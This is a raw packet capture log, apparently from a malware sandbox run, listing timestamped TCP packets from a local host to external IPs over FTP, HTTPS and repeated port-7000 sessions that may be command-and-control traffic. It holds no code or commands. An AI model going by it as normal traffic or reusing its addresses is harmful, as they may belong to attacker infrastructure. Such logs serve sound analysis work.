                                                                                                                                        Nov 20, 2024 11:06:28.351000071 CET4434974064.235.43.128192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.351008892 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.351047039 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.351361036 CET49740443192.168.2.464.235.43.128
                                                                                                                                        Nov 20, 2024 11:06:28.369560957 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:28.376430035 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.758423090 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.759048939 CET4974460391192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:28.763992071 CET6039149744191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.764070988 CET4974460391192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:28.764200926 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:28.771132946 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:28.987158060 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.076937914 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:29.372277975 CET2149733191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.372328043 CET6039149744191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.372370005 CET6039149744191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.372446060 CET4974460391192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:29.373508930 CET4974460391192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:29.374093056 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:29.374135017 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.374206066 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:29.374454021 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:29.374469042 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.379025936 CET6039149744191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.463583946 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:29.853627920 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:29.860517025 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:29.860548019 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:30.279321909 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:30.279474020 CET44349745188.114.97.3192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:30.279556036 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:30.283778906 CET49745443192.168.2.4188.114.97.3
                                                                                                                                        Nov 20, 2024 11:06:30.466501951 CET4973321192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:31.536022902 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:31.536073923 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:31.536143064 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:31.538400888 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:31.538417101 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:31.999655962 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:31.999804974 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:32.011948109 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:32.011985064 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:32.012274027 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:32.045361042 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:32.091340065 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:32.533015966 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:32.533274889 CET44349746104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:32.533327103 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:32.533957958 CET49746443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:37.342076063 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:37.342112064 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:37.342197895 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:37.350544930 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:37.350557089 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:37.968507051 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:37.968597889 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.010353088 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.010379076 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.010713100 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.154958010 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.239284039 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.279331923 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.436053991 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.436145067 CET44349747149.154.167.220192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.436218023 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.441343069 CET49747443192.168.2.4149.154.167.220
                                                                                                                                        Nov 20, 2024 11:06:38.862349987 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:38.862442970 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:38.862523079 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:38.867301941 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:38.867351055 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.325377941 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.325485945 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:39.326914072 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:39.326970100 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.327229023 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.332851887 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:39.375335932 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.472615004 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.472732067 CET44349748104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:39.473261118 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:39.473561049 CET49748443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:42.974611998 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:42.979587078 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:42.979681969 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:43.077110052 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:43.084327936 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.439264059 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.576850891 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:44.631510973 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:44.636497974 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636543036 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636579990 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636703014 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636732101 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636821032 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:44.636918068 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:45.546591997 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:45.546646118 CET2149730191.252.83.213192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:45.546731949 CET4973021192.168.2.4191.252.83.213
                                                                                                                                        Nov 20, 2024 11:06:46.794539928 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:46.794596910 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:46.794668913 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:46.799000025 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:46.799020052 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:46.947582006 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.038296938 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:47.282557964 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.282651901 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:47.284312963 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:47.284327984 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.284579992 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.290494919 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:47.331332922 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.425225019 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.425338030 CET44349750104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:47.425395966 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:47.426712036 CET49750443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:48.301326036 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.373709917 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.669002056 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.676482916 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.990964890 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.990999937 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.991055012 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.992038965 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.992074966 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.992110968 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.992122889 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.992974043 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.993007898 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.993033886 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.993041992 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.993094921 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.994502068 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.994534969 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.994568110 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.994577885 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.995398045 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.995448112 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:48.995450974 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.996041059 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:48.996138096 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.079962015 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.080001116 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.080127001 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.241569042 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.241609097 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.241681099 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.242619038 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.242676973 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.242707014 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.242722988 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.243264914 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.243316889 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.243344069 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.243379116 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.243423939 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.466114998 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.522443056 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.529525042 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.529541969 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.529556036 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.531740904 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.531754017 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.531806946 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.531820059 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.719846964 CET497517000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.727754116 CET700049751178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.727823019 CET497517000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.754215956 CET497517000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.754414082 CET497517000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:49.759109020 CET700049751178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:49.807180882 CET700049751178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:50.304615974 CET700049751178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:50.305493116 CET497517000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:54.489860058 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.549343109 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:54.558100939 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558121920 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558168888 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558182001 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558195114 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558207035 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:54.558219910 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.429979086 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.430051088 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.430213928 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.433752060 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.433772087 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.945846081 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.945960045 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.947350025 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.947380066 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.947649956 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:55.953902960 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:55.999341965 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:56.072562933 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:56.072788954 CET44349752104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:56.072870016 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:56.073667049 CET49752443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:06:57.034265995 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:57.042042971 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:57.362155914 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:57.371514082 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:57.376580000 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.437254906 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.576839924 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:59.852982044 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:06:59.858715057 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.858833075 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.858844042 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.858853102 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.858863115 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.859361887 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:06:59.861046076 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.456968069 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.495307922 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:04.502985954 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.502995968 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.503004074 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.503012896 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.504349947 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.504359007 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:04.506881952 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.485656977 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:07.485709906 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.485815048 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:07.488238096 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:07.488255024 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.975265980 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.975361109 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:07.978425026 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:07.978431940 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.978773117 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:07.986773968 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:08.027345896 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:08.322103024 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:08.322202921 CET44349780104.20.3.235192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:08.322829962 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:08.374764919 CET49780443192.168.2.4104.20.3.235
                                                                                                                                        Nov 20, 2024 11:07:09.440499067 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.478611946 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:09.484947920 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.484983921 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.485013008 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.485260963 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.485290051 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.485316992 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:09.485373020 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:10.884190083 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:10.889266968 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:11.197817087 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:11.199690104 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:11.204694986 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.437604904 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.507461071 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:14.512767076 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512785912 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512798071 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512810946 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512825966 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512837887 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:14.512857914 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:16.937308073 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:17.076782942 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:19.447936058 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.576795101 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:19.734436989 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:19.739829063 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.739845037 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.739917994 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.740138054 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.740149975 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.740161896 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:19.740174055 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.442487001 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.493388891 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:24.498543024 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498599052 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498626947 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498850107 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498878002 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498927116 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.498953104 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:24.737847090 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:24.744262934 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:25.336715937 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:25.384166956 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:25.394042015 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.439699888 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.492711067 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:29.497704029 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497720003 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497798920 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497812033 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497824907 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497853041 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:29.497864962 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.451067924 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.510545969 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:34.527359962 CET497497000192.168.2.4178.73.218.6
                                                                                                                                        Nov 20, 2024 11:07:34.543220997 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.543382883 CET700049749178.73.218.6192.168.2.4
                                                                                                                                        Nov 20, 2024 11:07:34.543392897 CET700049749178.73.218.6192.168.2.4
